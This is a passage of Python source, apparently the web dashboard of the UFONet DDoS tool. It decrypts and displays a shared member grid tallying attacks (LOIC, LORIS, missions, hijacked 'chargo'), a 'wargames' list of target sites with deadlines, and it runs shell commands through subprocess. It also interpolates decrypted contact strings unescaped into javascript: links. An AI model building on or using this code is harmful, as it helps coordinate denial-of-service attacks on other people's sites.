  2625. self.decrypt(board_key, nick)
  2626. if self.decryptedtext:
  2627. nick = self.decryptedtext
  2628. else:
  2629. nick = 'Anonymous' # We are legion!
  2630. self.decryptedtext = "" # clean decryptedtext buffer
  2631. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  2632. msg = str(l)
  2633. self.decrypt(board_key, msg)
  2634. if self.decryptedtext:
  2635. msg = self.decryptedtext
  2636. else:
  2637. msg = nodec_text
  2638. self.decryptedtext = "" # clean decryptedtext buffer
  2639. if filter in topic or filter == "ALL": # filter content by user selection
  2640. b = "<table border='1' cellpadding='10' cellspacing='5'><tr><td>"
  2641. b += icon + "</td><td>"
  2642. b += topic
  2643. b += "</td><td>"
  2644. b += str(nick) + "/" + id + ":"
  2645. b += "</td><td>"
  2646. b += str(msg) + "</td></tr><table>"
  2647. f.write(str(b)+"\n")
  2648. else:
  2649. pass
  2650. else: # not valid stream data
  2651. pass
  2652. f.write(end_mark)
  2653. f.close()
  2654. if page == "/cmd_decrypt_moderator_board_update":
  2655. if not os.path.exists('/tmp/out'):
  2656. open('/tmp/out', 'w').close()
  2657. with open('/tmp/out', 'r') as f:
  2658. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  2659. if page == "/cmd_decrypt_grid":
  2660. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  2661. try:
  2662. grid_key = pGet["grid_key"]
  2663. except:
  2664. grid_key = ""
  2665. end_mark = "[Mothership/Info] End of decryption."
  2666. if grid_key is not "": # grid decryption
  2667. # Mothership stats counters
  2668. mothership_members = 0
  2669. member_1 = 0 # Rookie
  2670. member_2 = 0 # Mercenary
  2671. member_3 = 0 # Bandit
  2672. member_4 = 0 # UFOmmander!
  2673. mothership_missions = 0
  2674. mothership_transferred = 0
  2675. mothership_attacks = 0
  2676. mothership_loic = 0
  2677. mothership_loris = 0
  2678. mothership_chargo = 0
  2679. mothership_dorking = 0
  2680. mothership_maxchargo = 0
  2681. nodec_text = "KEY?"
  2682. grid_table = "<center><u>MEMBERS STATS:</u> (Order by: REGISTRATION)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANKING:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  2683. grid_key = pGet["grid_key"]
  2684. f = open("/tmp/out", "w")
  2685. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, contact, ID
  2686. if grid_msg_sep in m:
  2687. version = m.count(grid_msg_sep) # check UFONet version by counting separators on stream (10->0.9|11->1.0)
  2688. m = m.split(grid_msg_sep)
  2689. grid_nickname = m[0] # nickname
  2690. self.decrypt(grid_key, grid_nickname)
  2691. if self.decryptedtext:
  2692. grid_nickname = self.decryptedtext
  2693. else:
  2694. grid_nickname = nodec_text
  2695. self.decryptedtext = "" # clean decryptedtext buffer
  2696. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  2697. grid_nickname = "Anonymous"
  2698. else:
  2699. grid_nickname = str(grid_nickname) # nickname
  2700. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  2701. grid_ranking = m[1] # ranking
  2702. self.decrypt(grid_key, grid_ranking)
  2703. if self.decryptedtext:
  2704. grid_ranking = int(self.decryptedtext)
  2705. else:
  2706. grid_ranking = nodec_text
  2707. self.decryptedtext = "" # clean decryptedtext buffer
  2708. if grid_ranking == 1: #Rookie
  2709. grid_ranking = "<font color='red' size='4'>*</font>"
  2710. member_1 = member_1 + 1
  2711. elif grid_ranking == 2: # Mercenary
  2712. grid_ranking = "<font color='orange' size='4'>**</font>"
  2713. member_2 = member_2 + 1
  2714. elif grid_ranking == 3: # Bandit
  2715. grid_ranking = "<font color='blue' size='4'>***</font>"
  2716. member_3 = member_3 + 1
  2717. elif grid_ranking == 4: # UFOmmander!
  2718. grid_ranking = "<font color='cyan' size='4'>****</font>"
  2719. member_4 = member_4 + 1
  2720. else:
  2721. grid_ranking = nodec_text
  2722. grid_totalchargo = m[2] # total chargo
  2723. self.decrypt(grid_key, grid_totalchargo)
  2724. if self.decryptedtext:
  2725. grid_totalchargo = self.decryptedtext
  2726. else:
  2727. grid_totalchargo = nodec_text
  2728. self.decryptedtext = "" # clean decryptedtext buffer
  2729. try: # parse for int
  2730. grid_totalchargo = int(grid_totalchargo)
  2731. mothership_chargo = mothership_chargo + grid_totalchargo
  2732. except:
  2733. grid_totalchargo = nodec_text
  2734. grid_dorking = m[3] # dorking
  2735. self.decrypt(grid_key, grid_dorking)
  2736. if self.decryptedtext:
  2737. grid_dorking = self.decryptedtext
  2738. else:
  2739. grid_dorking = nodec_text
  2740. self.decryptedtext = "" # clean decryptedtext buffer
  2741. try: # parse for int
  2742. grid_dorking = int(grid_dorking)
  2743. mothership_dorking = mothership_dorking + grid_dorking
  2744. except:
  2745. grid_dorking = nodec_text
  2746. grid_transferred = m[4] # transferred
  2747. self.decrypt(grid_key, grid_transferred)
  2748. if self.decryptedtext:
  2749. grid_transferred = self.decryptedtext
  2750. else:
  2751. grid_transferred = nodec_text
  2752. self.decryptedtext = "" # clean decryptedtext buffer
  2753. try: # parse for int
  2754. grid_transferred = int(grid_transferred)
  2755. mothership_transferred = mothership_transferred + grid_transferred
  2756. except:
  2757. grid_transferred = nodec_text
  2758. grid_maxchargo = m[5] # maxchargo
  2759. self.decrypt(grid_key, grid_maxchargo)
  2760. if self.decryptedtext:
  2761. grid_maxchargo = self.decryptedtext
  2762. else:
  2763. grid_maxchargo = nodec_text
  2764. self.decryptedtext = "" # clean decryptedtext buffer
  2765. try: # parse for int
  2766. grid_maxchargo = int(grid_maxchargo)
  2767. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  2768. except:
  2769. grid_maxchargo = nodec_text
  2770. grid_missions = m[6] # missions
  2771. self.decrypt(grid_key, grid_missions)
  2772. if self.decryptedtext:
  2773. grid_missions = self.decryptedtext
  2774. else:
  2775. grid_missions = nodec_text
  2776. self.decryptedtext = "" # clean decryptedtext buffer
  2777. try: # parse for int
  2778. grid_missions = int(grid_missions)
  2779. mothership_missions = mothership_missions + grid_missions
  2780. except:
  2781. grid_missions = nodec_text
  2782. grid_attacks = m[7] # attacks
  2783. self.decrypt(grid_key, grid_attacks)
  2784. if self.decryptedtext:
  2785. grid_attacks = self.decryptedtext
  2786. else:
  2787. grid_attacks = nodec_text
  2788. self.decryptedtext = "" # clean decryptedtext buffer
  2789. try: # parse for int
  2790. grid_attacks = int(grid_attacks)
  2791. mothership_attacks = mothership_attacks + grid_attacks
  2792. except:
  2793. grid_attacks = nodec_text
  2794. grid_loic = m[8] # loic
  2795. self.decrypt(grid_key, grid_loic)
  2796. if self.decryptedtext:
  2797. grid_loic = self.decryptedtext
  2798. else:
  2799. grid_loic = nodec_text
  2800. self.decryptedtext = "" # clean decryptedtext buffer
  2801. try: # parse for int
  2802. grid_loic = int(grid_loic)
  2803. mothership_loic = mothership_loic + grid_loic
  2804. except:
  2805. grid_loic = nodec_text
  2806. if version == 11: # v1.0
  2807. grid_loris = m[9] # loris
  2808. self.decrypt(grid_key, grid_loris)
  2809. if self.decryptedtext:
  2810. grid_loris = self.decryptedtext
  2811. else:
  2812. grid_loris = nodec_text
  2813. self.decryptedtext = "" # clean decryptedtext buffer
  2814. try: # parse for int
  2815. grid_loris = int(grid_loris)
  2816. mothership_loris = mothership_loris + grid_loris
  2817. except:
  2818. grid_loris = nodec_text
  2819. try: # decrypt + parse contact len + correct js view (without blank spaces)
  2820. grid_contact = m[10] # contact
  2821. self.decrypt(grid_key, grid_contact)
  2822. if self.decryptedtext:
  2823. grid_contact = self.decryptedtext
  2824. else:
  2825. grid_contact = nodec_text
  2826. self.decryptedtext = "" # clean decryptedtext buffer
  2827. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  2828. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  2829. else:
  2830. try:
  2831. if " " in grid_contact: # m[10] = grid_contact
  2832. grid_contact = grid_contact.replace(" ","")
  2833. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  2834. except:
  2835. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  2836. except:
  2837. pass
  2838. try:
  2839. grid_id = m[11] # id
  2840. except:
  2841. pass
  2842. elif version == 10: # v0.9
  2843. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present yet on that version
  2844. self.decrypt(grid_key, grid_loris)
  2845. if self.decryptedtext:
  2846. grid_loris = self.decryptedtext
  2847. else:
  2848. grid_loris = nodec_text
  2849. self.decryptedtext = "" # clean decryptedtext buffer
  2850. try: # parse for int
  2851. grid_loris = int(grid_loris)
  2852. mothership_loris = mothership_loris + grid_loris
  2853. except:
  2854. grid_loris = nodec_text
  2855. try: # decrypt + parse contact len + correct js view (without blank spaces)
  2856. grid_contact = m[9] # contact
  2857. self.decrypt(grid_key, grid_contact)
  2858. if self.decryptedtext:
  2859. grid_contact = self.decryptedtext
  2860. else:
  2861. grid_contact = nodec_text
  2862. self.decryptedtext = "" # clean decryptedtext buffer
  2863. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  2864. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  2865. else:
  2866. try:
  2867. if " " in grid_contact: # m[9] = grid_contact
  2868. grid_contact = grid_contact.replace(" ","")
  2869. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  2870. except:
  2871. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  2872. except:
  2873. pass
  2874. try:
  2875. grid_id = m[10] # id
  2876. except:
  2877. pass
  2878. else: # no valid version
  2879. pass
  2880. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  2881. grid_table += "</table><br>"
  2882. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  2883. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MEMBERS:</td><td align='right'>"+str(mothership_members)+"</td><td><font color='cyan' size='4'>****</font></td><td align='right'><font color='cyan' size='4'>"+str(member_4)+"</font></td><td><font color='blue' size='4'>***</font></td><td align='right'><font color='blue' size='4'>"+str(member_3)+"</font></td><td><font color='orange' size='4'>**</font></td><td align='right'><font color='orange' size='4'>"+str(member_2)+"</font></td><td><font color='red' size='4'>*</font></td><td align='right'><font color='red' size='4'>"+str(member_1)+"</font></td></tr><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td></tr><tr><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><hr><br>"
  2884. f.write(mother_table)
  2885. f.write(grid_table)
  2886. f.write(end_mark)
  2887. f.close()
  2888. else: # not valid stream data
  2889. pass
  2890. if page == "/cmd_decrypt_grid_update":
  2891. if not os.path.exists('/tmp/out'):
  2892. open('/tmp/out', 'w').close()
  2893. with open('/tmp/out', 'r') as f:
  2894. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  2895. if page == "/cmd_decrypt_wargames":
  2896. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  2897. try:
  2898. wargames_deckey = pGet["wargames_deckey"]
  2899. except:
  2900. wargames_deckey = ""
  2901. end_mark = "[Mothership/Info] End of decryption."
  2902. if wargames_deckey is not "": # wargames decryption
  2903. nodec_text = "KEY?"
  2904. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>ESTIMATED:</u></td></tr>"
  2905. f = open("/tmp/out", "w")
  2906. for m in self.list_wargames: # list = creation, target, estimated
  2907. if wargames_msg_sep in m:
  2908. m = m.split(wargames_msg_sep)
  2909. wargames_creation = m[0] # creation date
  2910. self.decrypt(wargames_deckey, wargames_creation)
  2911. if self.decryptedtext:
  2912. wargames_creation = self.decryptedtext
  2913. else:
  2914. wargames_creation = nodec_text
  2915. self.decryptedtext = "" # clean decryptedtext buffer
  2916. wargames_target = m[1] # target
  2917. self.decrypt(wargames_deckey, wargames_target)
  2918. if self.decryptedtext:
  2919. wargames_target = self.decryptedtext
  2920. else:
  2921. wargames_target = nodec_text
  2922. self.decryptedtext = "" # clean decryptedtext buffer
  2923. wargames_estimated = m[2] # total chargo
  2924. self.decrypt(wargames_deckey, wargames_estimated)
  2925. if self.decryptedtext:
  2926. wargames_estimated = self.decryptedtext
  2927. else:
  2928. wargames_estimated = nodec_text
  2929. self.decryptedtext = "" # clean decryptedtext buffer
  2930. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2931. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2932. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  2933. if (now > wargames_estimated) == False: # change flag color when time is out
  2934. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  2935. time_flag = "<font color='green'>"+str(wargames_estimated)+"</font>"
  2936. else:
  2937. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  2938. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  2939. wargames_table += "<tr><td align='center'>"+str(wargames_creation)+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td></tr>"
  2940. wargames_table += "</table><br>"
  2941. f.write(wargames_table)
  2942. f.write(end_mark)
  2943. f.close()
  2944. if page == "/cmd_decrypt_wargames_update":
  2945. if not os.path.exists('/tmp/out'):
  2946. open('/tmp/out', 'w').close()
  2947. with open('/tmp/out', 'r') as f:
  2948. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  2949. if page == "/blackholes":
  2950. self.pages["/blackholes"] = self.html_blackholes()
  2951. if page == "/requests":
  2952. if pGet=={}:
  2953. self.pages["/requests"] = self.html_requests()
  2954. else:
  2955. self.save_cfg(pGet)
  2956. self.pages["/requests"] = self.html_request_submit()
  2957. if page == "/abduction":
  2958. self.pages["/abduction"] = self.html_abduction()
  2959. if page == "/stats":
  2960. self.pages["/stats"] = self.html_stats()
  2961. if page == "/wormhole":
  2962. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  2963. ctype = "text/html"
  2964. if page.find(".js") != -1:
  2965. ctype = "application/javascript"
  2966. elif page.find(".txt") != -1:
  2967. ctype = "text/plain"
  2968. elif page.find(".ico") != -1:
  2969. ctype = "image/x-icon"
  2970. elif page.find(".png") != -1:
  2971. ctype = "image/png"
  2972. elif page.find(".css") != -1:
  2973. ctype = "text/css"
  2974. if page in self.pages:
  2975. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  2976. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  2977. class Command(object):
  2978. def __init__(self, cmd):
  2979. self.cmd = cmd
  2980. self.process = None
  2981. def run(self, timeout):
  2982. def target():
  2983. self.process = subprocess.Popen(self.cmd, shell=True)
  2984. thread = threading.Thread(target=target)
  2985. thread.start()
  2986. thread.join(timeout)
  2987. if thread.is_alive():
  2988. self.process.terminate()
  2989. thread.join()
  2990. if __name__ == "__main__":
  2991. webbrowser.open('http://127.0.0.1:9999', new=1)
  2992. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2993. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2994. tcpsock.bind((host, port))
  2995. while True:
  2996. tcpsock.listen(4)
  2997. (clientsock, (ip, c_port)) = tcpsock.accept()
  2998. newthread = ClientThread(ip, c_port, clientsock)
  2999. newthread.start()